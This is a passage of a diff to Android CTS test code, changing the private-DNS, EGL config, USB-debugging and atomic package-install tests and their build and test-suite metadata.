+ @AppModeFull(reason = "WRITE_SECURE_SETTINGS permission can't be granted to instant apps")
+ public void testResNApiNXDomainPrivateDns() throws InterruptedException {
+ // Enable private DNS strict mode and set server to dns.google before doing NxDomain test.
+ // b/144521720
+ try {
+ Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_MODE, "hostname");
+ Settings.Global.putString(mCR,
+ Settings.Global.PRIVATE_DNS_SPECIFIER, GOOGLE_PRIVATE_DNS_SERVER);
+ for (Network network : getTestableNetworks()) {
+ // Wait for private DNS setting to propagate.
+ mCtsNetUtils.awaitPrivateDnsSetting("NxDomain test wait private DNS setting timeout",
+ network, GOOGLE_PRIVATE_DNS_SERVER, PRIVATE_DNS_SETTING_TIMEOUT_MS);
+ runResNnxDomainCheck(network.getNetworkHandle());
+ }
+ } finally {
+ restorePrivateDnsSetting();
}
}
}
diff --git a/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java b/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
index e4e350c..81a9e30 100644
--- a/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
+++ b/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
@@ -19,6 +19,7 @@
import static com.google.common.truth.Truth.assertThat;
import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assume.assumeTrue;
import android.content.Context;
@@ -72,6 +73,7 @@
setWatchlistConfig(TEST_EMPTY_WATCHLIST_XML);
// Verify test watchlist config is not set before testing
byte[] result = mConnectivityManager.getNetworkWatchlistConfigHash();
+ assertNotNull("Watchlist config does not exist", result);
assertNotEquals(TEST_WATCHLIST_CONFIG_HASH, byteArrayToHexString(result));
}
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index 0ef5cd9..3e47764 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -921,9 +921,9 @@
.distinct()
.collect(Collectors.toList());
- if (uniquePackageNames.size() > 1) {
- fail("The NETWORK_CARRIER_PROVISIONING permission must not be held by more than one "
- + "application, but is held by " + uniquePackageNames.size() + " applications: "
+ if (uniquePackageNames.size() > 2) {
+ fail("The NETWORK_CARRIER_PROVISIONING permission must not be held by more than two "
+ + "applications, but is held by " + uniquePackageNames.size() + " applications: "
+ String.join(", ", uniquePackageNames));
}
}
diff --git a/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java b/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
index e19d2ba..f0c34e3 100644
--- a/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
+++ b/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
@@ -24,12 +24,14 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import android.annotation.NonNull;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.net.ConnectivityManager;
import android.net.ConnectivityManager.NetworkCallback;
+import android.net.LinkProperties;
import android.net.Network;
import android.net.NetworkCapabilities;
import android.net.NetworkInfo;
@@ -243,6 +245,23 @@
return s;
}
+ public void awaitPrivateDnsSetting(@NonNull String msg, @NonNull Network network,
+ @NonNull String server, int timeoutMs) throws InterruptedException {
+ CountDownLatch latch = new CountDownLatch(1);
+ NetworkRequest request = new NetworkRequest.Builder().clearCapabilities().build();
+ NetworkCallback callback = new NetworkCallback() {
+ @Override
+ public void onLinkPropertiesChanged(Network n, LinkProperties lp) {
+ if (network.equals(n) && server.equals(lp.getPrivateDnsServerName())) {
+ latch.countDown();
+ }
+ }
+ };
+ mCm.registerNetworkCallback(request, callback);
+ assertTrue(msg, latch.await(timeoutMs, TimeUnit.MILLISECONDS));
+ mCm.unregisterNetworkCallback(callback);
+ }
+
/**
* Receiver that captures the last connectivity change's network type and state. Recognizes
* both {@code CONNECTIVITY_ACTION} and {@code NETWORK_CALLBACK_ACTION} intents.
diff --git a/tests/tests/neuralnetworks/Android.mk b/tests/tests/neuralnetworks/Android.mk
index 6d35ccc..e6efed7 100644
--- a/tests/tests/neuralnetworks/Android.mk
+++ b/tests/tests/neuralnetworks/Android.mk
@@ -28,7 +28,7 @@
LOCAL_WHOLE_STATIC_LIBRARIES := CtsNNAPITests_static
LOCAL_SHARED_LIBRARIES := libandroid liblog libneuralnetworks
-LOCAL_STATIC_LIBRARIES := libgtest_ndk_c++ libgtest_main_ndk_c++
+LOCAL_STATIC_LIBRARIES := libbase_ndk libgtest_ndk_c++
LOCAL_CTS_TEST_PACKAGE := android.neuralnetworks
# Tag this module as a cts test artifact
diff --git a/tests/tests/neuralnetworks/tflite_delegate/Android.mk b/tests/tests/neuralnetworks/tflite_delegate/Android.mk
index 5ef0ca0..e9ea001 100644
--- a/tests/tests/neuralnetworks/tflite_delegate/Android.mk
+++ b/tests/tests/neuralnetworks/tflite_delegate/Android.mk
@@ -61,7 +61,7 @@
LOCAL_CTS_TEST_PACKAGE := android.neuralnetworks
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts mts general-tests
LOCAL_SDK_VERSION := current
LOCAL_NDK_STL_VARIANT := c++_static
diff --git a/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml b/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml
index 98e2119..f1d5cf7 100644
--- a/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml
+++ b/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="neuralnetworks" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
<option name="cleanup" value="true" />
<option name="push" value="CtsTfliteNnapiDelegateTestCases->/data/local/tmp/CtsTfliteNnapiDelegateTestCases" />
diff --git a/tests/tests/notificationlegacy/notificationlegacy20/AndroidTest.xml b/tests/tests/notificationlegacy/notificationlegacy20/AndroidTest.xml
index 69a1c40..0509f6e 100644
--- a/tests/tests/notificationlegacy/notificationlegacy20/AndroidTest.xml
+++ b/tests/tests/notificationlegacy/notificationlegacy20/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- Notification Listeners are not supported for instant apps. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsLegacyNotification20TestCases.apk" />
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/AndroidTest.xml b/tests/tests/notificationlegacy/notificationlegacy28/AndroidTest.xml
index b310c2d..7aa0608 100644
--- a/tests/tests/notificationlegacy/notificationlegacy28/AndroidTest.xml
+++ b/tests/tests/notificationlegacy/notificationlegacy28/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- Notification Listeners are not supported for instant apps. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsLegacyNotification28TestCases.apk" />
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/AndroidTest.xml b/tests/tests/notificationlegacy/notificationlegacy29/AndroidTest.xml
index 7e01e67..9421128 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/AndroidTest.xml
+++ b/tests/tests/notificationlegacy/notificationlegacy29/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- Notification Listeners are not supported for instant apps. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsLegacyNotification29TestCases.apk" />
diff --git a/tests/tests/opengl/src/android/opengl/cts/EglConfigCtsActivity.java b/tests/tests/opengl/src/android/opengl/cts/EglConfigCtsActivity.java
index cef9e2f0..1b8cf77 100644
--- a/tests/tests/opengl/src/android/opengl/cts/EglConfigCtsActivity.java
+++ b/tests/tests/opengl/src/android/opengl/cts/EglConfigCtsActivity.java
@@ -16,83 +16,176 @@
package android.opengl.cts;
+import static org.junit.Assert.assertTrue;
+
import android.app.Activity;
-import android.content.Intent;
+import android.content.Context;
import android.opengl.GLSurfaceView;
import android.os.Bundle;
+import android.util.Log;
import android.view.WindowManager;
import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
+import javax.microedition.khronos.egl.EGL10;
+import javax.microedition.khronos.egl.EGLConfig;
+import javax.microedition.khronos.egl.EGLContext;
+import javax.microedition.khronos.egl.EGLDisplay;
+
/**
* {@link Activity} with a {@link GLSurfaceView} that chooses a specific configuration.
*/
public class EglConfigCtsActivity extends Activity {
+ private final String TAG = this.getClass().getSimpleName();
+
public static final String CONFIG_ID_EXTRA = "eglConfigId";
public static final String CONTEXT_CLIENT_VERSION_EXTRA = "eglContextClientVersion";
+ private static final int EGL_OPENGL_ES_BIT = 0x1;
+ private static final int EGL_OPENGL_ES2_BIT = 0x4;
+
private EglConfigGLSurfaceView mView;
private CountDownLatch mFinishedDrawing;
+ private CountDownLatch mFinishedTesting;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
- int configId = getConfigId();
- int contextClientVersion = getContextClientVersion();
- setTitle("EGL Config Id: " + configId + " Client Version: " + contextClientVersion);
// Dismiss keyguard and keep screen on while this test is on.
getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD |
WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON |
WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
- mFinishedDrawing = new CountDownLatch(1);
- mView = new EglConfigGLSurfaceView(this, configId, contextClientVersion, new Runnable() {
- @Override
- public void run() {
- mFinishedDrawing.countDown();
- }
- });
- setContentView(mView);
- }
-
- private int getConfigId() {
- Intent intent = getIntent();
- if (intent != null) {
- return intent.getIntExtra(CONFIG_ID_EXTRA, 0);
- } else {
- return 0;
- }
- }
-
- private int getContextClientVersion() {
- Intent intent = getIntent();
- if (intent != null) {
- return intent.getIntExtra(CONTEXT_CLIENT_VERSION_EXTRA, 0);
- } else {
- return 0;
+ int[] configIds = getEglConfigIds(EGL_OPENGL_ES_BIT);
+ int[] configIds2 = getEglConfigIds(EGL_OPENGL_ES2_BIT);
+ assertTrue(configIds.length + configIds2.length > 0);
+ mFinishedTesting = new CountDownLatch(configIds.length + configIds2.length);
+ try {
+ runConfigTests(configIds, 1);
+ runConfigTests(configIds2, 2);
+ } catch (InterruptedException e) {
+ Log.e(TAG, "Caught exception");
}
}
@Override
protected void onResume() {
super.onResume();
- mView.onResume();
+ if (mView != null)
+ {
+ mView.onResume();
+ }
}
@Override
protected void onPause() {
super.onPause();
- mView.onPause();
+ if (mView != null)
+ {
+ mView.onPause();
+ }
}
- public void waitToFinishDrawing() throws InterruptedException {
- if (!mFinishedDrawing.await(3, TimeUnit.SECONDS)) {
- throw new IllegalStateException("Coudn't finish drawing frames!");
+ private void runConfigTests(int[] configIds, int contextClientVersion)
+ throws InterruptedException {
+ Context context = this;
+ Thread thread = new Thread() {
+ @Override
+ public void run() {
+ for (int configId : configIds) {
+ mFinishedDrawing = new CountDownLatch(1);
+
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ setTitle("EGL Config Id: " + configId + " Client Version: " + contextClientVersion);
+ mView = new EglConfigGLSurfaceView(context, configId, contextClientVersion, new Runnable() {
+ @Override
+ public void run() {
+ mFinishedDrawing.countDown();
+ }
+ });
+ setContentView(mView);
+ }
+ });
+
+ try {
+ waitToFinishDrawing();
+ } catch (Exception e) {
+ Log.e(TAG, "Timed out!");
+ }
+
+ mFinishedTesting.countDown();
+ }
+ }
+ };
+ thread.start();
+ }
+
+ private void waitToFinishDrawing() throws InterruptedException {
+ if (!mFinishedDrawing.await(5, TimeUnit.SECONDS)) {
+ throw new IllegalStateException("Couldn't finish drawing frames!");
+ }
+ }
+
+ void waitToFinishTesting() throws InterruptedException {
+ if (!mFinishedTesting.await(300, TimeUnit.SECONDS)) {
+ throw new IllegalStateException("Couldn't finish testing!");
+ }
+ }
+
+ private static int[] getEglConfigIds(int renderableType) {
+ EGL10 egl = (EGL10) EGLContext.getEGL();
+ EGLDisplay display = egl.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
+ int[] numConfigs = new int[1];
+
+ int[] attributeList = new int[] {
+ EGL10.EGL_RENDERABLE_TYPE, renderableType,
+
+ // Avoid configs like RGBA0008 which crash even though they have the window bit set.
+ EGL10.EGL_RED_SIZE, 1,
+ EGL10.EGL_GREEN_SIZE, 1,
+ EGL10.EGL_BLUE_SIZE, 1,
+
+ EGL10.EGL_SURFACE_TYPE, EGL10.EGL_WINDOW_BIT,
+ EGL10.EGL_NONE
+ };
+
+ if (egl.eglInitialize(display, null)) {
+ try {
+ if (egl.eglChooseConfig(display, attributeList, null, 0, numConfigs)) {
+ EGLConfig[] configs = new EGLConfig[numConfigs[0]];
+ if (egl.eglChooseConfig(display, attributeList, configs, configs.length,
+ numConfigs)) {
+ int[] configIds = new int[numConfigs[0]];
+ for (int i = 0; i < numConfigs[0]; i++) {
+ int[] value = new int[1];
+ if (egl.eglGetConfigAttrib(display, configs[i], EGL10.EGL_CONFIG_ID,
+ value)) {
+ configIds[i] = value[0];
+ } else {
+ throw new IllegalStateException("Couldn't call eglGetConfigAttrib");
+ }
+ }
+ return configIds;
+ } else {
+ throw new IllegalStateException("Couldn't call eglChooseConfig (1)");
+ }
+ } else {
+ throw new IllegalStateException("Couldn't call eglChooseConfig (2)");
+ }
+ } finally {
+ egl.eglTerminate(display);
+ }
+ } else {
+ throw new IllegalStateException("Couldn't initialize EGL.");
}
}
}
diff --git a/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java b/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
index 3e5565e..613456a 100644
--- a/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
@@ -25,6 +25,7 @@
import androidx.test.filters.LargeTest;
import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
+import static androidx.test.internal.util.Checks.checkState;
import org.junit.Before;
import org.junit.Rule;
@@ -36,14 +37,16 @@
import javax.microedition.khronos.egl.EGLContext;
import javax.microedition.khronos.egl.EGLDisplay;
+import android.util.Log;
+import java.lang.Runnable;
+
/**
* Test that gets a list of EGL configurations and tries to use each one in a GLSurfaceView.
*/
@LargeTest
@RunWith(AndroidJUnit4.class)
public class EglConfigTest {
- private static final int EGL_OPENGL_ES_BIT = 0x1;
- private static final int EGL_OPENGL_ES2_BIT = 0x4;
+ private final String TAG = this.getClass().getSimpleName();
private Instrumentation mInstrumentation;
@@ -58,75 +61,11 @@
@Test
public void testEglConfigs() throws Exception {
- int[] configIds = getEglConfigIds(EGL_OPENGL_ES_BIT);
- int[] configIds2 = getEglConfigIds(EGL_OPENGL_ES2_BIT);
- assertTrue(configIds.length + configIds2.length > 0);
- runConfigTests(configIds, 1);
- runConfigTests(configIds2, 2);
- }
-
- private void runConfigTests(int[] configIds, int contextClientVersion)
- throws InterruptedException {
- for (int configId : configIds) {
- Intent intent = new Intent(InstrumentationRegistry.getTargetContext(),
- EglConfigCtsActivity.class);
- intent.putExtra(EglConfigCtsActivity.CONFIG_ID_EXTRA, configId);
- intent.putExtra(EglConfigCtsActivity.CONTEXT_CLIENT_VERSION_EXTRA,
- contextClientVersion);
- EglConfigCtsActivity activity = mActivityRule.launchActivity(intent);
- activity.waitToFinishDrawing();
- // TODO(b/30948621): Remove the sleep below once b/30948621 is fixed.
- Thread.sleep(500);
- activity.finish();
- mInstrumentation.waitForIdleSync();
- }
- }
-
- private static int[] getEglConfigIds(int renderableType) {
- EGL10 egl = (EGL10) EGLContext.getEGL();
- EGLDisplay display = egl.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
- int[] numConfigs = new int[1];
-
- int[] attributeList = new int[] {
- EGL10.EGL_RENDERABLE_TYPE, renderableType,
-
- // Avoid configs like RGBA0008 which crash even though they have the window bit set.
- EGL10.EGL_RED_SIZE, 1,
- EGL10.EGL_GREEN_SIZE, 1,
- EGL10.EGL_BLUE_SIZE, 1,
-
- EGL10.EGL_SURFACE_TYPE, EGL10.EGL_WINDOW_BIT,
- EGL10.EGL_NONE
- };
-
- if (egl.eglInitialize(display, null)) {
- try {
- if (egl.eglChooseConfig(display, attributeList, null, 0, numConfigs)) {
- EGLConfig[] configs = new EGLConfig[numConfigs[0]];
- if (egl.eglChooseConfig(display, attributeList, configs, configs.length,
- numConfigs)) {
- int[] configIds = new int[numConfigs[0]];
- for (int i = 0; i < numConfigs[0]; i++) {
- int[] value = new int[1];
- if (egl.eglGetConfigAttrib(display, configs[i], EGL10.EGL_CONFIG_ID,
- value)) {
- configIds[i] = value[0];
- } else {
- throw new IllegalStateException("Couldn't call eglGetConfigAttrib");
- }
- }
- return configIds;
- } else {
- throw new IllegalStateException("Couldn't call eglChooseConfig (1)");
- }
- } else {
- throw new IllegalStateException("Couldn't call eglChooseConfig (2)");
- }
- } finally {
- egl.eglTerminate(display);
- }
- } else {
- throw new IllegalStateException("Couldn't initialize EGL.");
- }
+ Intent intent = new Intent(InstrumentationRegistry.getTargetContext(),
+ EglConfigCtsActivity.class);
+ EglConfigCtsActivity activity = mActivityRule.launchActivity(intent);
+ activity.waitToFinishTesting();
+ activity.finish();
+ mInstrumentation.waitForIdleSync();
}
}
diff --git a/tests/tests/os/TEST_MAPPING b/tests/tests/os/TEST_MAPPING
index ad2a688..c1541b5 100644
--- a/tests/tests/os/TEST_MAPPING
+++ b/tests/tests/os/TEST_MAPPING
@@ -8,9 +8,6 @@
},
{
"exclude-filter": "android.os.cts.StrictModeTest#testNonSdkApiUsage"
- },
- {
- "exclude-filter": "android.os.cts.UsbDebuggingTest#testUsbDebugging"
}
]
}
diff --git a/tests/tests/os/src/android/os/cts/UsbDebuggingTest.java b/tests/tests/os/src/android/os/cts/UsbDebuggingTest.java
index 60583e7..2951648 100644
--- a/tests/tests/os/src/android/os/cts/UsbDebuggingTest.java
+++ b/tests/tests/os/src/android/os/cts/UsbDebuggingTest.java
@@ -18,11 +18,13 @@
import android.os.Build;
import android.os.SystemProperties;
+import android.platform.test.annotations.RestrictedBuildTest;
import android.test.AndroidTestCase;
import java.io.File;
public class UsbDebuggingTest extends AndroidTestCase {
+ @RestrictedBuildTest
public void testUsbDebugging() {
// Secure USB debugging must be enabled
assertEquals("1", SystemProperties.get("ro.adb.secure"));
diff --git a/tests/tests/packageinstaller/atomicinstall/Android.bp b/tests/tests/packageinstaller/atomicinstall/Android.bp
index 1762edc..8b24ee5 100644
--- a/tests/tests/packageinstaller/atomicinstall/Android.bp
+++ b/tests/tests/packageinstaller/atomicinstall/Android.bp
@@ -18,20 +18,19 @@
srcs: ["src/**/*.java"],
java_resources: [
- ":AtomicInstallTestAppAv1",
- ":AtomicInstallTestAppAv2",
- ":AtomicInstallTestAppBv1",
":AtomicInstallCorrupt"
],
static_libs: [
"androidx.test.runner",
"truth-prebuilt",
+ "cts-install-lib",
],
sdk_version: "test_current",
test_suites: [
"cts",
"vts",
"general-tests",
+ "mts",
],
}
@@ -40,28 +39,3 @@
srcs: ["testdata/apk/prebuilt/corrupt.apk"],
path: "testdata/apk/prebuilt"
}
-
-android_test_helper_app {
- name: "AtomicInstallTestAppAv1",
-
- srcs: ["testdata/apk/src/**/*java"],
-
- manifest: "testdata/apk/Av1.xml",
-}
-
-android_test_helper_app {
- name: "AtomicInstallTestAppAv2",
-
- srcs: ["testdata/apk/src/**/*java"],
-
- manifest: "testdata/apk/Av2.xml",
-}
-
-android_test_helper_app {
- name: "AtomicInstallTestAppBv1",
-
- srcs: ["testdata/apk/src/**/*java"],
-
- manifest: "testdata/apk/Bv1.xml",
-}
-
diff --git a/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml b/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml
index e0edcba..1f8f283 100644
--- a/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml
@@ -18,7 +18,7 @@
package="com.android.tests.atomicinstall" >
<application>
- <receiver android:name="com.android.tests.atomicinstall.LocalIntentSender"
+ <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
android:exported="true" />
<uses-library android:name="android.test.runner" />
</application>
diff --git a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
index e248a62..5270823 100644
--- a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- Instant apps can't have INSTALL_PACKAGES permission. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAtomicInstallTestCases.apk" />
diff --git a/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java b/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java
index f99ac2f..67051cc 100644
--- a/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java
+++ b/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java
@@ -16,41 +16,40 @@
package com.android.tests.atomicinstall;
+import static com.android.cts.install.lib.InstallUtils.assertStatusSuccess;
+import static com.android.cts.install.lib.InstallUtils.getInstalledVersion;
+import static com.android.cts.install.lib.InstallUtils.openPackageInstallerSession;
+
import static com.google.common.truth.Truth.assertThat;
import static org.junit.Assert.fail;
import android.Manifest;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageInfo;
import android.content.pm.PackageInstaller;
-import android.content.pm.PackageManager;
import androidx.test.InstrumentationRegistry;
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.LocalIntentSender;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.ArrayList;
-
/**
* Tests for multi-package (a.k.a. atomic) installs.
*/
@RunWith(JUnit4.class)
public class AtomicInstallTest {
- private static final String TEST_APP_A = "com.android.tests.atomicinstall.testapp.A";
- private static final String TEST_APP_B = "com.android.tests.atomicinstall.testapp.B";
- public static final String TEST_APP_A_FILENAME = "AtomicInstallTestAppAv1.apk";
- public static final String TEST_APP_A_V2_FILENAME = "AtomicInstallTestAppAv2.apk";
- public static final String TEST_APP_B_FILENAME = "AtomicInstallTestAppBv1.apk";
public static final String TEST_APP_CORRUPT_FILENAME = "corrupt.apk";
+ private static final TestApp CORRUPT_TESTAPP = new TestApp(
+ "corrupt", "com.corrupt", 1, false, TEST_APP_CORRUPT_FILENAME);
private void adoptShellPermissions() {
InstrumentationRegistry
@@ -64,8 +63,7 @@
public void setup() throws Exception {
adoptShellPermissions();
- uninstall(TEST_APP_A);
- uninstall(TEST_APP_B);
+ Uninstall.packages(TestApp.A, TestApp.B);
}
@After
@@ -78,149 +76,75 @@
@Test
public void testInstallTwoApks() throws Exception {
- installMultiPackage(TEST_APP_A_FILENAME, TEST_APP_B_FILENAME);
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(1);
- assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(1);
+ Install.multi(TestApp.A1, TestApp.B1).commit();
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
+ assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
}
@Test
public void testInstallTwoApksDowngradeFail() throws Exception {
- installMultiPackage(TEST_APP_A_V2_FILENAME, TEST_APP_B_FILENAME);
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(2);
- assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(1);
+ Install.multi(TestApp.A2, TestApp.B1).commit();
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(2);
+ assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
- final PackageInstaller.SessionParams parentSessionParams =
- createSessionParams(/*staged*/false, /*multipackage*/true,
- /*enableRollback*/ false, /*inherit*/false);
- final int parentSessionId = createSessionId(/*apkFileName*/null, parentSessionParams);
- final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
- for (String apkFile : new String[]{
- TEST_APP_A_FILENAME, TEST_APP_B_FILENAME}) {
- final PackageInstaller.SessionParams childSessionParams =
- createSessionParams(/*staged*/false, /*multipackage*/false,
- /*enableRollback*/ false, /*inherit*/false);
- final int childSessionId =
- createSessionId(apkFile, childSessionParams);
- parentSession.addChildSessionId(childSessionId);
- }
- parentSession.commit(LocalIntentSender.getIntentSender());
-
- final Intent intent = LocalIntentSender.getIntentSenderResult();
- assertStatusFailure(intent, "INSTALL_FAILED_VERSION_DOWNGRADE");
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(2);
- assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(1);
+ InstallUtils.commitExpectingFailure(AssertionError.class,
+ "INSTALL_FAILED_VERSION_DOWNGRADE", Install.multi(TestApp.A1, TestApp.B1));
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(2);
+ assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
}
@Test
public void testFailInconsistentMultiPackageCommit() throws Exception {
// Test inconsistency in staged settings
- for (boolean staged : new boolean[]{false, true}) {
- final PackageInstaller.SessionParams parentSessionParams =
- createSessionParams(/*staged*/staged, /*multipackage*/true,
- /*enableRollback*/false, /*inherit*/false);
- final int parentSessionId =
- createSessionId(/*apkFileName*/null, parentSessionParams);
- // Create a child session that differs in the staged parameter
- final PackageInstaller.SessionParams childSessionParams =
- createSessionParams(/*staged*/!staged, /*multipackage*/false,
- /*enableRollback*/false, /*inherit*/false);
- final int childSessionId =
- createSessionId("AtomicInstallTestAppAv1.apk", childSessionParams);
+ Install parentStaged = Install.multi(Install.single(TestApp.A1)).setStaged();
+ Install childStaged = Install.multi(Install.single(TestApp.A1).setStaged());
- final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
- parentSession.addChildSessionId(childSessionId);
- parentSession.commit(LocalIntentSender.getIntentSender());
- assertStatusFailure(LocalIntentSender.getIntentSenderResult(),
- "inconsistent staged settings");
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
- }
+ assertInconsistentStagedSettings(parentStaged);
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ assertInconsistentStagedSettings(childStaged);
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
// Test inconsistency in rollback settings
- for (boolean enableRollback : new boolean[]{false, true}) {
- final PackageInstaller.SessionParams parentSessionParams =
- createSessionParams(/*staged*/false, /*multipackage*/true,
- /*enableRollback*/enableRollback, /*inherit*/false);
- final int parentSessionId =
- createSessionId(/*apkFileName*/null, parentSessionParams);
- // Create a child session that differs in the staged parameter
- final PackageInstaller.SessionParams childSessionParams =
- createSessionParams(/*staged*/false, /*multipackage*/false,
- /*enableRollback*/!enableRollback, /*inherit*/false);
- final int childSessionId =
- createSessionId("AtomicInstallTestAppAv1.apk", childSessionParams);
+ Install parentEnabledRollback = Install.multi(Install.single(TestApp.A1))
+ .setEnableRollback();
+ Install childEnabledRollback = Install.multi(
+ Install.single(TestApp.A1).setEnableRollback());
- final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
- parentSession.addChildSessionId(childSessionId);
- parentSession.commit(LocalIntentSender.getIntentSender());
- assertStatusFailure(LocalIntentSender.getIntentSenderResult(),
- "inconsistent rollback settings");
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
- }
+ assertInconsistentRollbackSettings(parentEnabledRollback);
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ assertInconsistentRollbackSettings(childEnabledRollback);
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
}
@Test
public void testChildFailurePropagated() throws Exception {
- final PackageInstaller.SessionParams parentSessionParams =
- createSessionParams(/*staged*/false, /*multipackage*/true,
- /*enableRollback*/ false, /*inherit*/false);
- final int parentSessionId =
- createSessionId(/*apkFileName*/null, parentSessionParams);
- final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
-
// Create a child session that "inherits" from a non-existent package. This
// causes the session commit to fail with a PackageManagerException.
